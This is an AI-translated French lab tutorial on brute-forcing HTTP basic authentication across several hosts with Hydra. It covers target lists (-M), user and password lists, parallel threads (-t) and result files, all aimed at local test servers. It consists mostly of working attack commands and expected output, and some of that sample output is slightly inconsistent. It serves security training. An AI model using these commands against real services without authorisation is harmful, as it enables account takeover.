Attaquer Plusieurs Cibles avec Hydra

HydraHydraBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous apprendrez à attaquer plusieurs cibles simultanément à l'aide d'Hydra. Le laboratoire se concentre sur l'utilisation des capacités d'Hydra pour effectuer des tentatives de cassage de mot de passe contre une liste d'hôtes cibles.

Le laboratoire vous guide à travers la création d'un fichier de liste de cibles contenant des adresses IP ou des noms d'hôtes, le chargement de ce fichier dans Hydra à l'aide de l'option -M, l'exécution d'une attaque HTTP parallèle contre les cibles, et enfin, la vérification de la sortie pour identifier les connexions réussies sur plusieurs hôtes. Cette expérience pratique vous fournira des compétences pratiques dans l'utilisation d'Hydra pour les tests de pénétration et les scénarios d'audit de sécurité.

Créer un fichier de liste de cibles

Dans cette étape, vous allez créer un fichier de liste de cibles. Ce fichier contiendra une liste d'URL cibles que Hydra tentera de connecter et de cracker pour les mots de passe. Il s'agit d'une étape cruciale dans tout scénario de test de pénétration ou d'audit de sécurité.

Un fichier de liste de cibles pour les attaques HTTP contient des URL au lieu de simples adresses IP. Chaque ligne représente un service web cible avec authentification HTTP de base. Dans notre environnement de laboratoire, nous avons configuré plusieurs serveurs web Apache fonctionnant sur différents ports avec authentification de base.

Toutes les opérations de ce laboratoire seront effectuées dans le répertoire ~/project.

  1. Tout d'abord, vérifions que nos serveurs web de test sont en cours d'exécution :

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Non autorisé
    HTTP/1.1 401 Non autorisé
    HTTP/1.1 401 Non autorisé

    Vous devriez voir des en-têtes de réponse HTTP indiquant que les serveurs sont en cours d'exécution.

  2. Créez le fichier de cibles avec nos serveurs web de test :

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    Ceci crée une liste de cibles avec trois services HTTP fonctionnant sur l'hôte local sur différents ports :

    • Port 8081 : Protégé avec l'utilisateur admin et le mot de passe password123
    • Port 8082 : Protégé avec l'utilisateur user et le mot de passe secret
    • Port 8083 : Protégé avec l'utilisateur testuser et le mot de passe password
  3. Vérifiez que le fichier a été créé et contient les cibles :

    cat ~/project/targets.txt

    Vous devriez voir une sortie comme ceci :

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. Testez une des ressources protégées pour confirmer que l'authentification est requise :

    curl http://127.0.0.1:8081/

    Vous devriez voir une réponse HTTP 401 Non autorisé, confirmant que l'authentification de base est requise.

Vous avez maintenant correctement créé un fichier de liste de cibles nommé targets.txt dans votre répertoire ~/project avec des services HTTP nécessitant une authentification. Ce fichier sera utilisé à l'étape suivante pour charger les cibles dans Hydra.

Charger les cibles avec l'option -M

Dans cette étape, vous apprendrez à charger le fichier de liste de cibles que vous avez créé à l'étape précédente dans Hydra en utilisant l'option -M. L'option -M indique à Hydra de lire la liste des hôtes cibles à partir d'un fichier. Ceci est particulièrement utile lorsque vous avez un grand nombre de cibles à tester.

Pour les attaques HTTP, la syntaxe de base est :

hydra -M <target_file> http-get <path>

Où :

  • <target_file> est le chemin d'accès au fichier contenant la liste des hôtes cibles.
  • http-get spécifie que nous attaquons l'authentification HTTP de base en utilisant des requêtes GET.
  • <path> est le chemin sur le serveur web à attaquer (par exemple, / pour la racine).

Construisons une commande Hydra pour charger les cibles à partir du fichier targets.txt et attaquer l'authentification HTTP de base.

  1. Créez des listes d'utilisateurs et de mots de passe pour notre attaque :

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    Ceci crée une liste d'utilisateurs avec les noms d'utilisateurs réels que nous avons configurés, plus un nom d'utilisateur courant root.

  2. Créez une liste de mots de passe :

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    Ceci crée une liste de mots de passe contenant les mots de passe réels que nous avons configurés, plus quelques mots de passe faibles courants.

  3. Maintenant, exécutez la commande Hydra pour charger les cibles à partir du fichier targets.txt et essayer de cracker l'authentification HTTP de base :

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    Résultats attendus : Vous devriez voir Hydra tenter de se connecter aux trois services HTTP et réussir à cracker les mots de passe pour chacun :

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Veuillez ne pas utiliser dans les organisations militaires ou de services secrets, ou à des fins illégales.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) démarré le 2023-XX-XX XX:XX:XX
    [DATA] max 16 tâches par 1 serveur, 64 tâches au total, 60 tentatives de connexion (l:4/p:5), ~1 tentative par tâche
    [DATA] attaque http-get://127.0.0.1:8081:80/
    [DATA] attaque http-get://127.0.0.1:8082:80/
    [DATA] attaque http-get://127.0.0.1:8083:80/
    [8081][http-get] hôte : 127.0.0.1  utilisateur : admin  mot de passe : password123
    [8082][http-get] hôte : 127.0.0.1  utilisateur : user  mot de passe : secret
    [8083][http-get] hôte : 127.0.0.1  utilisateur : testuser  mot de passe : password
    1 des 3 cibles terminées, 3 mots de passe valides trouvés
    Hydra terminé.

    Ceci montre qu'Hydra a réussi à trouver les identifiants valides pour les trois services HTTP.

  4. Vous pouvez également tester avec un chemin plus spécifique si nécessaire :

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

Dans cette étape, vous avez appris à charger des cibles à partir d'un fichier en utilisant l'option -M dans Hydra pour les attaques HTTP. Il s'agit d'une compétence fondamentale pour effectuer des attaques de cassage de mots de passe à grande échelle contre des services web avec authentification de base.

Exécuter une attaque HTTP parallèle

Dans cette étape, vous apprendrez à exécuter une attaque HTTP parallèle à l'aide de Hydra. L'exécution d'attaques en parallèle accélère considérablement le processus de craquage, en particulier lorsqu'il s'agit de multiples cibles. Hydra vous permet de spécifier le nombre de tâches parallèles à exécuter à l'aide de l'option -t.

L'option -t contrôle le nombre de connexions parallèles que Hydra établira. Pour les attaques HTTP, cela est particulièrement efficace car les serveurs web peuvent généralement gérer plusieurs connexions simultanées plus efficacement que les services SSH.

Modifions la commande Hydra précédente pour exécuter l'attaque HTTP avec un nombre de threads spécifié.

  1. Exécutez la commande Hydra suivante pour exécuter l'attaque HTTP avec 8 threads :

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    Dans cette commande, l'option -t 8 indique à Hydra d'utiliser 8 threads parallèles. Cela signifie que Hydra tentera de se connecter à plusieurs cibles simultanément et d'essayer différentes combinaisons d'utilisateur/mot de passe en parallèle.

    Sortie attendue :

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Veuillez ne pas utiliser dans les organisations militaires ou de services secrets, ou à des fins illégales.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) démarré le 2023-XX-XX XX:XX:XX
    [DATA] max 8 tâches par 1 serveur, 24 tâches au total, 60 tentatives de connexion (l:4/p:5), ~3 tentative par tâche
    [DATA] attaque http-get://127.0.0.1:8081:80/
    [DATA] attaque http-get://127.0.0.1:8082:80/
    [DATA] attaque http-get://127.0.0.1:8083:80/
    [8081][http-get] hôte : 127.0.0.1  utilisateur : admin  mot de passe : password123
    [8082][http-get] hôte : 127.0.0.1  utilisateur : user  mot de passe : secret
    [8083][http-get] hôte : 127.0.0.1  utilisateur : testuser  mot de passe : password
    1 des 3 cibles terminées, 3 mots de passe valides trouvés
    Hydra terminé.
  2. Expérimentez avec différentes valeurs pour l'option -t. Essayez d'augmenter le nombre de threads pour voir comment cela affecte la vitesse :

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    Vous remarquerez peut-être qu'avec plus de threads, l'attaque se termine plus rapidement, mais le temps exact dépend des capacités de votre système.

  3. Vous pouvez également ajouter une sortie détaillée pour voir plus de détails sur le processus d'attaque :

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    L'option -v fournit une sortie détaillée affichant chaque tentative de connexion, ce qui est utile pour comprendre exactement ce que Hydra teste.

  4. Pour une sortie encore plus détaillée, vous pouvez utiliser l'option -V (très détaillé) :

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

Considérations importantes pour les attaques HTTP :

  • Limites du serveur web : La plupart des serveurs web peuvent gérer de nombreuses connexions simultanées, ce qui rend les attaques HTTP généralement plus rapides que d'autres protocoles.
  • Limitation de débit : Certaines applications web mettent en œuvre une limitation de débit qui pourrait bloquer les tentatives d'authentification rapides.
  • Journalisation : Les tentatives d'authentification HTTP sont généralement journalisées par les serveurs web, ce qui facilite la détection.
  • SSL/HTTPS : Pour les cibles HTTPS, vous utiliseriez http-get avec les cibles SSL activées ou https-get pour HTTPS explicite.

Dans cette étape, vous avez appris à exécuter des attaques HTTP parallèles à l'aide de Hydra avec l'option -t. Cette technique est particulièrement efficace pour les applications web avec authentification de base.

Vérifier les résultats pour plusieurs hôtes

Dans cette étape, vous apprendrez à interpréter la sortie de Hydra lors d'attaques sur plusieurs cibles HTTP. La sortie de Hydra fournit des informations précieuses sur le succès ou l'échec des tentatives d'attaque sur différents services web.

Lorsque Hydra réussit à cracker un mot de passe d'authentification HTTP de base, il affiche les identifiants au format suivant :

[<port>][http-get] hôte : <hôte>  utilisateur : <nom_utilisateur>  mot de passe : <mot_de_passe>

Par exemple :

[8081][http-get] hôte : 127.0.0.1  utilisateur : admin  mot de passe : password123

Cela indique que Hydra a réussi à cracker l'authentification HTTP de base pour l'utilisateur admin sur l'hôte 127.0.0.1 au port 8081, avec le mot de passe password123.

Analysons la sortie des attaques HTTP et comprenons ce que signifient les différents résultats.

  1. Exécutez à nouveau la commande Hydra complète pour voir la sortie complète :

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. Examinez la sortie détaillée. Vous devriez voir des résultats pour les trois cibles :

    Sortie complète attendue :

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Veuillez ne pas utiliser dans les organisations militaires ou de services secrets, ou à des fins illégales.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) démarré le 2023-XX-XX XX:XX:XX
    [DATA] max 8 tâches par 1 serveur, 24 tâches au total, 60 tentatives de connexion (l:4/p:5), ~3 tentative par tâche
    [DATA] attaque http-get://127.0.0.1:8081:80/
    [DATA] attaque http-get://127.0.0.1:8082:80/
    [DATA] attaque http-get://127.0.0.1:8083:80/
    [8081][http-get] hôte : 127.0.0.1  utilisateur : admin  mot de passe : password123
    [8082][http-get] hôte : 127.0.0.1  utilisateur : user  mot de passe : secret
    [8083][http-get] hôte : 127.0.0.1  utilisateur : testuser  mot de passe : password
    1 des 3 cibles terminées, 3 mots de passe valides trouvés
    Hydra terminé.
  3. Pour voir à quoi ressemblent les tentatives échouées, créons un scénario avec des identifiants invalides. Créez un nouveau fichier de mots de passe avec principalement de mauvais mots de passe :

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## Seul mot de passe correct
  4. Exécutez Hydra avec une sortie détaillée pour voir les tentatives réussies et échouées :

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    Vous verrez une sortie détaillée montrant la tentative réussie :

    (Contenu de la sortie similaire à l'exemple précédent)

  5. Enregistrez les résultats dans un fichier pour une analyse ultérieure :

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    Vérifiez le fichier de résultats :

    cat hydra_results.txt

Comment interpréter les résultats des attaques HTTP :

  • Attaques réussies : Les lignes commençant par [port][http-get] montrent les découvertes réussies d'identifiants.
  • Informations sur la cible : Chaque résultat réussi indique l'hôte, le port, le nom d'utilisateur et le mot de passe exacts.
  • Statistiques de résumé : La dernière ligne indique le nombre de cibles attaquées et le nombre de mots de passe valides trouvés.
  • Tentatives échouées : Avec le mode détaillé, vous pouvez voir chaque tentative de connexion échouée.
  • Fichiers de sortie : L'utilisation de -o enregistre uniquement les résultats réussis dans un fichier pour une analyse facile.

Différences clés avec d'autres protocoles :

  • Les attaques HTTP affichent clairement le numéro de port dans les résultats.
  • Les temps de réponse sont généralement plus rapides que les attaques SSH.
  • Plusieurs domaines d'authentification sur le même serveur apparaîtraient comme des cibles différentes.
  • Les codes d'état HTTP (comme 401, 403) fournissent un contexte supplémentaire sur les échecs.

Dans cette étape, vous avez appris à interpréter la sortie de Hydra lors d'attaques sur plusieurs cibles HTTP, à comprendre la différence entre les tentatives réussies et échouées, et à enregistrer les résultats pour une analyse. Ces connaissances sont essentielles pour des tests de sécurité efficaces des applications web.

Résumé

Dans ce laboratoire, vous avez appris à effectuer des attaques multi-cibles à l'aide de Hydra contre des services HTTP avec authentification de base. Vous avez créé un fichier de liste de cibles contenant plusieurs serveurs web fonctionnant sur différents ports, chacun protégé par une authentification de base utilisant différentes combinaisons de nom d'utilisateur et de mot de passe.

Vous avez découvert comment utiliser l'option -M pour charger plusieurs cibles à partir d'un fichier, ce qui rend efficace l'attaque simultanée de nombreux services web. Le laboratoire a démontré comment utiliser l'option -t pour contrôler les threads parallèles afin d'accélérer les attaques HTTP, et vous avez appris à interpréter la sortie de Hydra pour identifier les tentatives d'authentification réussies sur plusieurs cibles.

Cette approche est particulièrement précieuse pour les tests de sécurité des applications web, où vous pourriez avoir besoin de tester l'authentification de base sur plusieurs services, des hôtes virtuels ou différents chemins sur les serveurs web. Les techniques que vous avez apprises fournissent une base pour réaliser des évaluations de sécurité complètes des applications web dans des environnements conteneurisés.